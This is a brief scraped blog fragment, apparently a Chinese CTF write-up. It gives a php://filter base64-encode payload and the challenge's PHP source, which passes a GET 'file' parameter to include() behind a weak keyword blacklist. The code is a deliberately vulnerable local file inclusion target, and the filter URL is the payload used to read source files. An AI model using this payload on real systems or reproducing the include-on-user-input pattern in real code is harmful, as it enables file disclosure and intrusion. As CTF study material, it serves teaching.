标签：filter charset 考点 header 技术 挑战 strstr 极客 src
?file=php://filter/convert.base64-encode/resource=
<html>
<title>secret</title>
<meta charset="UTF-8">
<?php
highlight_file(__FILE__);
error_reporting(0);
$file=$_GET[‘file‘];
if(strstr($file,"../")||stristr($file, "tp")||stristr($file,"input")||stristr($file,"data")){
echo "Oh no!";
exit();
}
include($file);
//flag
https://www.cnblogs.com/wangtanzhi/p/12184620.html
标签：filter charset 考点 header 技术 挑战 strstr 极客 src
原文地址：https://www.cnblogs.com/JeffKing11/p/12702276.html
